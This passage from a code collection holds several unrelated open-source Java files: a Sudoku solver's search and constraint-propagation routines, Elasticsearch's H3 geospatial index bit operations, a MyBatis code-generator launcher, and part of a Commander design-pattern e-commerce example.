solveList(grids); break; default: solveListThreaded(grids, nThreads); break; } if (printFileStats) printStats(grids.size() * repeat, startTime, filename); } /** Solve a list of puzzles in a single thread. ** repeat -R<number> times; print each puzzle's stats if -p; print grid if -g; verify if -v. **/ void solveList(List<int[]> grids) { int[] puzzle = new int[N * N]; // Used to save a copy of the original grid int[][] gridpool = new int[N * N][N * N]; // Reuse grids during the search for (int g=0; g<grids.size(); ++g) { int grid[] = grids.get(g); System.arraycopy(grid, 0, puzzle, 0, grid.length); for (int i = 0; i < repeat; ++i) { long startTime = printPuzzleStats ? System.nanoTime() : 0; int[] solution = initialize(grid); // All the real work is if (runSearch) search(solution, gridpool, 0); // on these 2 lines. if (printPuzzleStats) { printStats(1, startTime, "Puzzle " + (g + 1)); } if (i == 0 && (printGrid || (verifySolution && !isSolution(solution, puzzle)))) { printGrids("Puzzle " + (g + 1), grid, solution); } } } } /** Break a list of puzzles into nThreads sublists and solve each sublist in a separate thread. **/ void solveListThreaded(List<int[]> grids, int nThreads) { try { final long startTime = System.nanoTime(); int nGrids = grids.size(); final CountDownLatch latch = new CountDownLatch(nThreads); int size = nGrids / nThreads; for (int c = 0; c < nThreads; ++c) { final List<int[]> sublist = grids.subList(c * size, c == nThreads - 1 ? nGrids : (c + 1) * size); new Thread() { public void run() { solveList(sublist); latch.countDown(); if (printThreadStats) { printStats(repeat * sublist.size(), startTime, "Thread"); } } }.start(); } latch.await(); // Wait for all threads to finish } catch (InterruptedException e) { System.err.println("And you may ask yourself, 'Well, how did I get here?'"); } } //////////////////////////////// Utility functions //////////////////////////////// /** Return an array of ints {0, 1, ..., n-1} **/ int[] range(int n) { int[] result = new int[n]; for (int i = 0; i<n; ++i) { result[i] = i; } return result; } /** Return an array of all squares in the intersection of these rows and cols **/ int[] cross(int[] rows, int[] cols) { int[] result = new int[rows.length * cols.length]; int i = 0; for (int r: rows) { for (int c: cols) { result[i++] = N * r + c; } } return result; } /** Return true iff item is an element of array, or array[0:end]. **/ boolean member(int item, int[] array) { return member(item, array, array.length); } boolean member(int item, int[] array, int end) { for (int i = 0; i<end; ++i) { if (array[i] == item) { return true; } } return false; } //////////////////////////////// Constants //////////////////////////////// final int N = 9; // Number of cells on a side of grid. final int[] DIGITS = {1<< 0, 1<< 1, 1<< 2, 1<< 3, 1<< 4, 1<< 5, 1<< 6, 1<< 7, 1<< 8}; final int ALL_DIGITS = Integer.parseInt("111111111", 2); final int[] ROWS = range(N); final int[] COLS = ROWS; final int[] SQUARES = range(N * N); final int[][] BLOCKS = {{0, 1, 2}, {3, 4, 5}, {6, 7, 8}}; final int[][] ALL_UNITS = new int[3 * N][]; final int[][][] UNITS = new int[N * N][3][N]; final int[][] PEERS = new int[N * N][20]; final int[] NUM_DIGITS = new int[ALL_DIGITS + 1]; final int[] HIGHEST_DIGIT = new int[ALL_DIGITS + 1]; { // Initialize ALL_UNITS to be an array of the 27 units: rows, columns, and blocks int i = 0; for (int r: ROWS) {ALL_UNITS[i++] = cross(new int[] {r}, COLS); } for (int c: COLS) {ALL_UNITS[i++] = cross(ROWS, new int[] {c}); } for (int[] rb: BLOCKS) {for (int[] cb: BLOCKS) {ALL_UNITS[i++] = cross(rb, cb); } } // Initialize each UNITS[s] to be an array of the 3 units for square s. for (int s: SQUARES) { i = 0; for (int[] u: ALL_UNITS) { if (member(s, u)) UNITS[s][i++] = u; } } // Initialize each PEERS[s] to be an array of the 20 squares that are peers of square s. for (int s: SQUARES) { i = 0; for (int[] u: UNITS[s]) { for (int s2: u) { if (s2 != s && !member(s2, PEERS[s], i)) { PEERS[s][i++] = s2; } } } } // Initialize NUM_DIGITS[val] to be the number of 1 bits in the bitset val // and HIGHEST_DIGIT[val] to the highest bit set in the bitset val for (int val = 0; val <= ALL_DIGITS; val++) { NUM_DIGITS[val] = Integer.bitCount(val); HIGHEST_DIGIT[val] = Integer.highestOneBit(val); } } //////////////////////////////// Search algorithm //////////////////////////////// /** Search for a solution to grid. If there is an unfilled square, select one ** and try--that is, search recursively--every possible digit for the square. **/ int[] search(int[] grid, int[][] gridpool, int level) { if (grid == null) { return null; } int s = select_square(grid); if (s == -1) { return grid; // No squares to select means we are done! } for (int d: DIGITS) { // For each possible digit d that could fill square s, try it if ((d & grid[s]) > 0) { // Copy grid's contents into the gridpool to be used at the next level System.arraycopy(grid, 0, gridpool[level], 0, grid.length); int[] result = search(assign(gridpool[level], s, d), gridpool, level + 1); if (result != null) { return result; } } } return null; } /** Check if grid is a solution to the puzzle. **/ boolean isSolution(int[] grid, int[] puzzle) { if (grid == null) { return false; } // Check that all squares have a single digit, and // no filled square in the puzzle was changed in the solution. for (int s: SQUARES) { if (NUM_DIGITS[grid[s]] != 1 || (NUM_DIGITS[puzzle[s]] == 1 && grid[s] != puzzle[s])) return false; } // Check that each unit is a permutation of digits for (int[] u: ALL_UNITS) { if (IntStream.of(u).sum() != ALL_DIGITS) return false; } return true; } /** Choose an unfilled square with the minimum number of possible values. ** If all squares are filled, return -1 (which means the puzzle is complete). **/ int select_square(int[] grid) { int square = -1; int min = N + 1; for (int s: SQUARES) { int c = NUM_DIGITS[grid[s]]; if (c == 2) { return s; // Can't get fewer than 2 possible digits } else if (c > 1 && c < min) { square = s; min = c; } } return square; } /** Assign grid[s] = d. If this leads to contradiction, return null. **/ int[] assign(int[] grid, int s, int d) { if ((grid == null) || ((grid[s] & d) == 0)) { return null; } // d not possible for grid[s] grid[s] = d; for (int p: PEERS[s]) { if (!eliminate(grid, p, d)) { // If we can't eliminate d from all peers of s, then fail return null; } } return grid; } /** Remove digit d from possibilities for grid[s]. ** Run the 3 constraint propagation routines (unless a command line flag says not to). ** If constraint propagation detects a contradiction return false. **/ boolean eliminate(int[] grid, int s, int d) { if ((grid[s] & d) == 0) { return true; } // d already eliminated from grid[s] grid[s] -= d; return ((!runArcCons || arc_consistent(grid, s)) && (!runDualCons || dual_consistent(grid, s, d)) && (!runNakedPairs || naked_pairs(grid, s))); } //////////////////////////////// Constraint Propagation //////////////////////////////// /** Check if square s is ok: that is, it has multiple possible values, or it has ** one possible value which we can consistently assign. **/ boolean arc_consistent(int[] grid, int s) { int c = NUM_DIGITS[grid[s]]; return c >= 2 || (c == 1 && (assign(grid, s, grid[s]) != null)); } /** After we eliminate d from possibilities for grid[s], check each unit of s ** and make sure there is some position in the unit where d can go. ** If there is only one possible place for d, assign it. **/ boolean dual_consistent(int[] grid, int s, int d) { for (int[] u: UNITS[s]) { int dPlaces = 0; // The number of possible places for d within unit u int dplace = -1; // Try to find a place in the unit where d can go for (int s2: u) { if ((grid[s2] & d) > 0) { // s2 is a possible place for d dPlaces++; if (dPlaces > 1) break; dplace = s2; } } if (dPlaces == 0 || (dPlaces == 1 && (assign(grid, dplace, d) == null))) { return false; } } return true; } /** Look for two squares in a unit with the same two possible values, and no other values. ** For example, if s and s2 both have the possible values 8|9, then we know that 8 and 9 ** must go in those two squares. We don't know which is which, but we can eliminate ** 8 and 9 from any other square s3 that is in the unit. **/ boolean naked_pairs(int[] grid, int s) { int val = grid[s]; if (NUM_DIGITS[val] != 2) { return true; } // Doesn't apply for (int s2: PEERS[s]) { if (grid[s2] == val) { // s and s2 are a naked pair; find what unit(s) they share for (int[] u: UNITS[s]) { if (member(s2, u)) { for (int s3: u) { // s3 can't have either of the values in val (e.g. 8|9) if (s3 != s && s3 != s2) { int d = HIGHEST_DIGIT[val]; int d2 = val - d; if (!eliminate(grid, s3, d) || !eliminate(grid, s3, d2)) { return false; } } } } } } } return true; } //////////////////////////////// Input //////////////////////////////// /** The method `readFile` reads one puzzle per file line and returns a List of puzzle grids. **/ List<int[]> readFile(String filename) throws IOException { BufferedReader in = new BufferedReader(new FileReader(filename)); List<int[]> grids = new ArrayList<int[]>(260000); String gridstring; while ((gridstring = in.readLine()) != null) { grids.add(parseGrid(gridstring)); if (reversePuzzle) { grids.add(parseGrid(new StringBuilder(gridstring).reverse().toString())); } } return grids; } /** Parse a gridstring into a puzzle grid: an int[] with values 0-9. **/ int[] parseGrid(String gridstring) { int[] grid = new int[N * N]; int s = 0; for (int i = 0; i<gridstring.length(); ++i) { char c = gridstring.charAt(i); if ('1' <= c && c <= '9') { grid[s++] = DIGITS[c - '1']; // A single-bit set to represent a digit } else if (c == '0' || c == '.') { grid[s++] = ALL_DIGITS; // Any digit is possible } } assert s == N * N; return grid; } /** Initialize a grid from a puzzle. ** First initialize every square in the new grid to ALL_DIGITS, meaning any value is possible. ** Then, call `assign` on the puzzle's filled squares to initiate constraint propagation. **/ int[] initialize(int[] puzzle) { int[] grid = new int[N * N]; for (int s: SQUARES) { grid[s] = ALL_DIGITS; } for (int s: SQUARES) { if (puzzle[s] != ALL_DIGITS) { assign(grid, s, puzzle[s]); } } return grid; } //////////////////////////////// Output //////////////////////////////// boolean headerPrinted = false; /** Print stats on puzzles solved, average time, frequency, threads used, and name. **/ void printStats(int nGrids, long startTime, String name) { double usecs = (System.nanoTime() - startTime) / 1000.; String line = String.format("%7d %8.1f %7.3f %7d %s", nGrids, usecs / nGrids, 1000 * nGrids / usecs, nThreads, name); synchronized (this) { // So that printing from different threads doesn't get garbled if (!headerPrinted) { System.out.println("Puzzles Avg μsec KHz Threads Name\n" + "======= ======== ======= ======= ===="); headerPrinted = true; } System.out.println(line); } } /** Print the original puzzle grid and the solution grid. **/ void printGrids(String name, int[] puzzle, int[] solution) { String bar = "------+-------+------"; String gap = " "; // Space between the puzzle grid and solution grid if (solution == null) solution = new int[N * N]; synchronized (this) { // So that printing from different threads doesn't get garbled System.out.format("\n%-22s%s%s\n", name + ":", gap, (isSolution(solution, puzzle) ? "Solution:" : "FAILED:")); for (int r = 0; r < N; ++r) { System.out.println(rowString(puzzle, r) + gap + rowString(solution, r)); if (r == 2 || r == 5) System.out.println(bar + gap + bar); } } } /** Return a String representing a row of this puzzle. **/ String rowString(int[] grid, int r) { String row = ""; for (int s = r * 9; s < (r + 1) * 9; ++s) { row += (char) ((NUM_DIGITS[grid[s]] != 1) ? '.' : ('1' + Integer.numberOfTrailingZeros(grid[s]))); row += (s % 9 == 2 || s % 9 == 5 ? " | " : " "); } return row; } }
norvig/pytudes
py/Sudoku.java
319
/* * Licensed to Elasticsearch B.V. under one or more contributor * license agreements. See the NOTICE file distributed with * this work for additional information regarding copyright * ownership. Elasticsearch B.V. licenses this file to you under * the Apache License, Version 2.0 (the "License"); you may * not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. * * This project is based on a modification of https://github.com/uber/h3 which is licensed under the Apache 2.0 License. * * Copyright 2016-2018, 2020 Uber Technologies, Inc. */ package org.elasticsearch.h3; /** * Functions that can be applied to an H3 index. */ final class H3Index { /** * Gets the integer base cell of h3. */ public static int H3_get_base_cell(long h3) { return ((int) ((((h3) & H3_BC_MASK) >> H3_BC_OFFSET))); } /** * Returns <code>true</code> if this index is one of twelve pentagons per resolution. */ public static boolean H3_is_pentagon(long h3) { return BaseCells.isBaseCellPentagon(H3Index.H3_get_base_cell(h3)) && H3Index.h3LeadingNonZeroDigit(h3) == 0; } public static long H3_INIT = 35184372088831L; /** * The bit offset of the mode in an H3 index. */ public static int H3_MODE_OFFSET = 59; /** * 1's in the 4 mode bits, 0's everywhere else. */ public static long H3_MODE_MASK = 15L << H3_MODE_OFFSET; /** * 0's in the 4 mode bits, 1's everywhere else. */ public static long H3_MODE_MASK_NEGATIVE = ~H3_MODE_MASK; public static long H3_set_mode(long h3, long mode) { return (h3 & H3_MODE_MASK_NEGATIVE) | (mode << H3_MODE_OFFSET); } /** * The bit offset of the base cell in an H3 index. */ public static int H3_BC_OFFSET = 45; /** * 1's in the 7 base cell bits, 0's everywhere else. */ public static long H3_BC_MASK = 127L << H3_BC_OFFSET; /** * 0's in the 7 base cell bits, 1's everywhere else. */ public static long H3_BC_MASK_NEGATIVE = ~H3_BC_MASK; /** * Sets the integer base cell of h3 to bc. */ public static long H3_set_base_cell(long h3, long bc) { return (h3 & H3_BC_MASK_NEGATIVE) | (bc << H3_BC_OFFSET); } public static int H3_RES_OFFSET = 52; /** * 1's in the 4 resolution bits, 0's everywhere else. */ public static long H3_RES_MASK = 15L << H3_RES_OFFSET; /** * 0's in the 4 resolution bits, 1's everywhere else. */ public static long H3_RES_MASK_NEGATIVE = ~H3_RES_MASK; /** * The bit offset of the max resolution digit in an H3 index. */ public static int H3_MAX_OFFSET = 63; /** * 1 in the highest bit, 0's everywhere else. */ public static long H3_HIGH_BIT_MASK = (1L << H3_MAX_OFFSET); /** * Gets the highest bit of the H3 index. */ public static int H3_get_high_bit(long h3) { return ((int) ((((h3) & H3_HIGH_BIT_MASK) >> H3_MAX_OFFSET))); } /** * Sets the long resolution of h3. */ public static long H3_set_resolution(long h3, long res) { return (((h3) & H3_RES_MASK_NEGATIVE) | (((res)) << H3_RES_OFFSET)); } /** * The bit offset of the reserved bits in an H3 index. */ public static int H3_RESERVED_OFFSET = 56; /** * 1's in the 3 reserved bits, 0's everywhere else. */ public static long H3_RESERVED_MASK = (7L << H3_RESERVED_OFFSET); /** * Gets a value in the reserved space. Should always be zero for valid indexes. */ public static int H3_get_reserved_bits(long h3) { return ((int) ((((h3) & H3_RESERVED_MASK) >> H3_RESERVED_OFFSET))); } public static int H3_get_mode(long h3) { return ((int) ((((h3) & H3_MODE_MASK) >> H3_MODE_OFFSET))); } /** * Gets the integer resolution of h3. */ public static int H3_get_resolution(long h3) { return (int) ((h3 & H3_RES_MASK) >> H3_RES_OFFSET); } /** * The number of bits in a single H3 resolution digit. */ public static int H3_PER_DIGIT_OFFSET = 3; /** * 1's in the 3 bits of res 15 digit bits, 0's everywhere else. */ public static long H3_DIGIT_MASK = 7L; /** * Gets the resolution res integer digit (0-7) of h3. */ public static int H3_get_index_digit(long h3, int res) { return ((int) ((((h3) >> ((Constants.MAX_H3_RES - (res)) * H3_PER_DIGIT_OFFSET)) & H3_DIGIT_MASK))); } /** * Sets the resolution res digit of h3 to the integer digit (0-7) */ public static long H3_set_index_digit(long h3, int res, long digit) { int x = (Constants.MAX_H3_RES - res) * H3_PER_DIGIT_OFFSET; return (((h3) & ~((H3_DIGIT_MASK << (x)))) | (((digit)) << x)); } /** * Returns whether or not a resolution is a Class III grid. Note that odd * resolutions are Class III and even resolutions are Class II. * @param res The H3 resolution. * @return 1 if the resolution is a Class III grid, and 0 if the resolution is * a Class II grid. */ public static boolean isResolutionClassIII(int res) { return (res & 1) == 1; } /** * Convert an H3Index to a FaceIJK address. * @param h3 The H3Index. */ public static FaceIJK h3ToFaceIjk(long h3) { int baseCell = H3Index.H3_get_base_cell(h3); if (baseCell < 0 || baseCell >= Constants.NUM_BASE_CELLS) { // LCOV_EXCL_BR_LINE // Base cells less than zero can not be represented in an index // To prevent reading uninitialized memory, we zero the output. throw new IllegalArgumentException(); } // adjust for the pentagonal missing sequence; all of sub-sequence 5 needs // to be adjusted (and some of sub-sequence 4 below) if (BaseCells.isBaseCellPentagon(baseCell) && h3LeadingNonZeroDigit(h3) == 5) { h3 = h3Rotate60cw(h3); } // start with the "home" face and ijk+ coordinates for the base cell of c FaceIJK fijk = BaseCells.getBaseFaceIJK(baseCell); if (h3ToFaceIjkWithInitializedFijk(h3, fijk) == false) { return fijk; // no overage is possible; h lies on this face } // if we're here we have the potential for an "overage"; i.e., it is // possible that c lies on an adjacent face int origI = fijk.coord.i; int origJ = fijk.coord.j; int origK = fijk.coord.k; // if we're in Class III, drop into the next finer Class II grid int res = H3Index.H3_get_resolution(h3); if (isResolutionClassIII(res)) { // Class III fijk.coord.downAp7r(); res++; } // adjust for overage if needed // a pentagon base cell with a leading 4 digit requires special handling boolean pentLeading4 = (BaseCells.isBaseCellPentagon(baseCell) && h3LeadingNonZeroDigit(h3) == 4); if (fijk.adjustOverageClassII(res, pentLeading4, false) != FaceIJK.Overage.NO_OVERAGE) { // if the base cell is a pentagon we have the potential for secondary // overages if (BaseCells.isBaseCellPentagon(baseCell)) { FaceIJK.Overage overage; do { overage = fijk.adjustOverageClassII(res, false, false); } while (overage != FaceIJK.Overage.NO_OVERAGE); } if (res != H3Index.H3_get_resolution(h3)) { fijk.coord.upAp7r(); } } else if (res != H3Index.H3_get_resolution(h3)) { fijk.coord.reset(origI, origJ, origK); } return fijk; } /** * Returns the highest resolution non-zero digit in an H3Index. * @param h The H3Index. * @return The highest resolution non-zero digit in the H3Index. */ public static int h3LeadingNonZeroDigit(long h) { for (int r = 1; r <= H3Index.H3_get_resolution(h); r++) { final int dir = H3Index.H3_get_index_digit(h, r); if (dir != CoordIJK.Direction.CENTER_DIGIT.digit()) { return dir; } } // if we're here it's all 0's return CoordIJK.Direction.CENTER_DIGIT.digit(); } /** * Convert an H3Index to the FaceIJK address on a specified icosahedral face. * @param h The H3Index. * @param fijk The FaceIJK address, initialized with the desired face * and normalized base cell coordinates. * @return Returns true if the possibility of overage exists, otherwise false. */ private static boolean h3ToFaceIjkWithInitializedFijk(long h, FaceIJK fijk) { final int res = H3Index.H3_get_resolution(h); // center base cell hierarchy is entirely on this face final boolean possibleOverage = BaseCells.isBaseCellPentagon(H3_get_base_cell(h)) || (res != 0 && (fijk.coord.i != 0 || fijk.coord.j != 0 || fijk.coord.k != 0)); for (int r = 1; r <= res; r++) { if (isResolutionClassIII(r)) { // Class III == rotate ccw fijk.coord.downAp7(); } else { // Class II == rotate cw fijk.coord.downAp7r(); } fijk.coord.neighbor(H3_get_index_digit(h, r)); } return possibleOverage; } /** * Rotate an H3Index 60 degrees clockwise. * @param h The H3Index. */ public static long h3Rotate60cw(long h) { for (int r = 1, res = H3_get_resolution(h); r <= res; r++) { h = H3_set_index_digit(h, r, CoordIJK.rotate60cw(H3_get_index_digit(h, r))); } return h; } /** * Rotate an H3Index 60 degrees counter-clockwise. * @param h The H3Index. */ public static long h3Rotate60ccw(long h) { for (int r = 1, res = H3_get_resolution(h); r <= res; r++) { h = H3_set_index_digit(h, r, CoordIJK.rotate60ccw(H3_get_index_digit(h, r))); } return h; } /** * Rotate an H3Index 60 degrees counter-clockwise about a pentagonal center. * @param h The H3Index. */ public static long h3RotatePent60ccw(long h) { // skips any leading 1 digits (k-axis) boolean foundFirstNonZeroDigit = false; for (int r = 1, res = H3_get_resolution(h); r <= res; r++) { // rotate this digit h = H3_set_index_digit(h, r, CoordIJK.rotate60ccw(H3_get_index_digit(h, r))); // look for the first non-zero digit so we // can adjust for deleted k-axes sequence // if necessary if (foundFirstNonZeroDigit == false && H3_get_index_digit(h, r) != 0) { foundFirstNonZeroDigit = true; // adjust for deleted k-axes sequence if (h3LeadingNonZeroDigit(h) == CoordIJK.Direction.K_AXES_DIGIT.digit()) h = h3Rotate60ccw(h); } } return h; } }
elastic/elasticsearch
libs/h3/src/main/java/org/elasticsearch/h3/H3Index.java
320
package com.macro.mall; import org.mybatis.generator.api.MyBatisGenerator; import org.mybatis.generator.config.Configuration; import org.mybatis.generator.config.xml.ConfigurationParser; import org.mybatis.generator.internal.DefaultShellCallback; import java.io.InputStream; import java.util.ArrayList; import java.util.List; /** * MBG代码生成工具 * Created by macro on 2018/4/26. */ public class Generator { public static void main(String[] args) throws Exception { //MBG 执行过程中的警告信息 List<String> warnings = new ArrayList<String>(); //当生成的代码重复时,覆盖原代码 boolean overwrite = true; //读取我们的 MBG 配置文件 InputStream is = Generator.class.getResourceAsStream("/generatorConfig.xml"); ConfigurationParser cp = new ConfigurationParser(warnings); Configuration config = cp.parseConfiguration(is); is.close(); DefaultShellCallback callback = new DefaultShellCallback(overwrite); //创建 MBG MyBatisGenerator myBatisGenerator = new MyBatisGenerator(config, callback, warnings); //执行生成代码 myBatisGenerator.generate(null); //输出警告信息 for (String warning : warnings) { System.out.println(warning); } } }
macrozheng/mall
mall-mbg/src/main/java/com/macro/mall/Generator.java
321
/* * This project is licensed under the MIT license. Module model-view-viewmodel is using ZK framework licensed under LGPL (see lgpl-3.0.txt). * * The MIT License * Copyright © 2014-2022 Ilkka Seppälä * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ package com.iluwatar.commander; import com.iluwatar.commander.Order.MessageSent; import com.iluwatar.commander.Order.PaymentStatus; import com.iluwatar.commander.employeehandle.EmployeeHandle; import com.iluwatar.commander.exceptions.DatabaseUnavailableException; import com.iluwatar.commander.exceptions.IsEmptyException; import com.iluwatar.commander.exceptions.ItemUnavailableException; import com.iluwatar.commander.exceptions.PaymentDetailsErrorException; import com.iluwatar.commander.exceptions.ShippingNotPossibleException; import com.iluwatar.commander.messagingservice.MessagingService; import com.iluwatar.commander.paymentservice.PaymentService; import com.iluwatar.commander.queue.QueueDatabase; import com.iluwatar.commander.queue.QueueTask; import com.iluwatar.commander.queue.QueueTask.TaskType; import com.iluwatar.commander.shippingservice.ShippingService; import java.util.List; import org.slf4j.Logger; import org.slf4j.LoggerFactory; /** * <p>Commander pattern is used to handle all issues that can come up while making a * distributed transaction. The idea is to have a commander, which coordinates the execution of all * instructions and ensures proper completion using retries and taking care of idempotence. By * queueing instructions while they haven't been done, we can ensure a state of 'eventual * consistency'.</p> * <p>In our example, we have an e-commerce application. When the user places an order, * the shipping service is intimated first. If the service does not respond for some reason, the * order is not placed. If response is received, the commander then calls for the payment service to * be intimated. If this fails, the shipping still takes place (order converted to COD) and the item * is queued. If the queue is also found to be unavailable, the payment is noted to be not done and * this is added to an employee database. Three types of messages are sent to the user - one, if * payment succeeds; two, if payment fails definitively; and three, if payment fails in the first * attempt. If the message is not sent, this is also queued and is added to employee db. We also * have a time limit for each instruction to be completed, after which, the instruction is not * executed, thereby ensuring that resources are not held for too long. In the rare occasion in * which everything fails, an individual would have to step in to figure out how to solve the * issue.</p> * <p>We have abstract classes {@link Database} and {@link Service} which are extended * by all the databases and services. Each service has a database to be updated, and receives * request from an outside user (the {@link Commander} class here). There are 5 microservices - * {@link ShippingService}, {@link PaymentService}, {@link MessagingService}, {@link EmployeeHandle} * and a {@link QueueDatabase}. We use retries to execute any instruction using {@link Retry} class, * and idempotence is ensured by going through some checks before making requests to services and * making change in {@link Order} class fields if request succeeds or definitively fails. There are * 5 classes - {@link AppShippingFailCases}, {@link AppPaymentFailCases}, {@link * AppMessagingFailCases}, {@link AppQueueFailCases} and {@link AppEmployeeDbFailCases}, which look * at the different scenarios that may be encountered during the placing of an order.</p> */ public class Commander { private final QueueDatabase queue; private final EmployeeHandle employeeDb; private final PaymentService paymentService; private final ShippingService shippingService; private final MessagingService messagingService; private int queueItems = 0; //keeping track here only so don't need access to queue db to get this private final int numOfRetries; private final long retryDuration; private final long queueTime; private final long queueTaskTime; private final long paymentTime; private final long messageTime; private final long employeeTime; private boolean finalSiteMsgShown; private static final Logger LOG = LoggerFactory.getLogger(Commander.class); //we could also have another db where it stores all orders private static final String ORDER_ID = "Order {}"; private static final String REQUEST_ID = " request Id: {}"; private static final String ERROR_CONNECTING_MSG_SVC = ": Error in connecting to messaging service "; private static final String TRY_CONNECTING_MSG_SVC = ": Trying to connect to messaging service.."; private static final String DEFAULT_EXCEPTION_MESSAGE = "An exception occurred"; Commander(EmployeeHandle empDb, PaymentService paymentService, ShippingService shippingService, MessagingService messagingService, QueueDatabase qdb, RetryParams retryParams, TimeLimits timeLimits) { this.paymentService = paymentService; this.shippingService = shippingService; this.messagingService = messagingService; this.employeeDb = empDb; this.queue = qdb; this.numOfRetries = retryParams.numOfRetries(); this.retryDuration = retryParams.retryDuration(); this.queueTime = timeLimits.queueTime(); this.queueTaskTime = timeLimits.queueTaskTime(); this.paymentTime = timeLimits.paymentTime(); this.messageTime = timeLimits.messageTime(); this.employeeTime = timeLimits.employeeTime(); this.finalSiteMsgShown = false; } void placeOrder(Order order) { sendShippingRequest(order); } private void sendShippingRequest(Order order) { var list = shippingService.exceptionsList; Retry.Operation op = l -> { if (!l.isEmpty()) { if (DatabaseUnavailableException.class.isAssignableFrom(l.get(0).getClass())) { LOG.debug(ORDER_ID + ": Error in connecting to shipping service, " + "trying again..", order.id); } else { LOG.debug(ORDER_ID + ": Error in creating shipping request..", order.id); } throw l.remove(0); } String transactionId = shippingService.receiveRequest(order.item, order.user.address); //could save this transaction id in a db too LOG.info(ORDER_ID + ": Shipping placed successfully, transaction id: {}", order.id, transactionId); LOG.info("Order has been placed and will be shipped to you. Please wait while we make your" + " payment... "); sendPaymentRequest(order); }; Retry.HandleErrorIssue<Order> handleError = (o, err) -> { if (ShippingNotPossibleException.class.isAssignableFrom(err.getClass())) { LOG.info("Shipping is currently not possible to your address. We are working on the problem" + " and will get back to you asap."); finalSiteMsgShown = true; LOG.info(ORDER_ID + ": Shipping not possible to address, trying to add problem " + "to employee db..", order.id); employeeHandleIssue(o); } else if (ItemUnavailableException.class.isAssignableFrom(err.getClass())) { LOG.info("This item is currently unavailable. We will inform you as soon as the item " + "becomes available again."); finalSiteMsgShown = true; LOG.info(ORDER_ID + ": Item {}" + " unavailable, trying to add " + "problem to employee handle..", order.id, order.item); employeeHandleIssue(o); } else { LOG.info("Sorry, there was a problem in creating your order. Please try later."); LOG.error(ORDER_ID + ": Shipping service unavailable, order not placed..", order.id); finalSiteMsgShown = true; } }; var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); r.perform(list, order); } private void sendPaymentRequest(Order order) { if (System.currentTimeMillis() - order.createdTime >= this.paymentTime) { if (order.paid.equals(PaymentStatus.TRYING)) { order.paid = PaymentStatus.NOT_DONE; sendPaymentFailureMessage(order); LOG.error(ORDER_ID + ": Payment time for order over, failed and returning..", order.id); } //if succeeded or failed, would have been dequeued, no attempt to make payment return; } var list = paymentService.exceptionsList; var t = new Thread(() -> { Retry.Operation op = getRetryOperation(order); Retry.HandleErrorIssue<Order> handleError = getRetryHandleErrorIssue(order); var r = new Retry<>(op, handleError, numOfRetries, retryDuration, e -> DatabaseUnavailableException.class.isAssignableFrom(e.getClass())); try { r.perform(list, order); } catch (Exception e1) { LOG.error(DEFAULT_EXCEPTION_MESSAGE, e1); } }); t.start(); } private Retry.HandleErrorIssue<Order> getRetryHandleErrorIssue(Order order) { return (o, err) -> { if (PaymentDetailsErrorException.class.isAssignableFrom(err.getClass())) { handlePaymentDetailsError(order.id, o); } else { if (o.messageSent.equals(MessageSent.NONE_SENT)) { handlePaymentError(order.id, o); } if (o.paid.equals(PaymentStatus.TRYING) && System .currentTimeMillis() - o.createdTime < paymentTime) { var qt = new QueueTask(o, TaskType.PAYMENT, -1); updateQueue(qt); } } }; } private void handlePaymentError(String orderId, Order o) { if (!finalSiteMsgShown) { LOG.info("There was an error in payment. We are on it, and will get back to you " + "asap. Don't worry, your order has been placed and will be shipped."); finalSiteMsgShown = true; } LOG.warn(ORDER_ID + ": Payment error, going to queue..", orderId); sendPaymentPossibleErrorMsg(o); } private void handlePaymentDetailsError(String orderId, Order o) { if (!finalSiteMsgShown) { LOG.info("There was an error in payment. Your account/card details " + "may have been incorrect. " + "Meanwhile, your order has been converted to COD and will be shipped."); finalSiteMsgShown = true; } LOG.error(ORDER_ID + ": Payment details incorrect, failed..", orderId); o.paid = PaymentStatus.NOT_DONE; sendPaymentFailureMessage(o); } private Retry.Operation getRetryOperation(Order order) { return l -> { if (!l.isEmpty()) { if (DatabaseUnavailableException.class.isAssignableFrom(l.get(0).getClass())) { LOG.debug(ORDER_ID + ": Error in connecting to payment service," + " trying again..", order.id); } else { LOG.debug(ORDER_ID + ": Error in creating payment request..", order.id); } throw l.remove(0); } if (order.paid.equals(PaymentStatus.TRYING)) { var transactionId = paymentService.receiveRequest(order.price); order.paid = PaymentStatus.DONE; LOG.info(ORDER_ID + ": Payment successful, transaction Id: {}", order.id, transactionId); if (!finalSiteMsgShown) { LOG.info("Payment made successfully, thank you for shopping with us!!"); finalSiteMsgShown = true; } sendSuccessMessage(order); } }; } private void updateQueue(QueueTask qt) { if (System.currentTimeMillis() - qt.order.createdTime >= this.queueTime) { // since payment time is lesser than queuetime it would have already failed.. // additional check not needed LOG.trace(ORDER_ID + ": Queue time for order over, failed..", qt.order.id); return; } else if (qt.taskType.equals(TaskType.PAYMENT) && !qt.order.paid.equals(PaymentStatus.TRYING) || qt.taskType.equals(TaskType.MESSAGING) && (qt.messageType == 1 && !qt.order.messageSent.equals(MessageSent.NONE_SENT) || qt.order.messageSent.equals(MessageSent.PAYMENT_FAIL) || qt.order.messageSent.equals(MessageSent.PAYMENT_SUCCESSFUL)) || qt.taskType.equals(TaskType.EMPLOYEE_DB) && qt.order.addedToEmployeeHandle) { LOG.trace(ORDER_ID + ": Not queueing task since task already done..", qt.order.id); return; } var list = queue.exceptionsList; Thread t = new 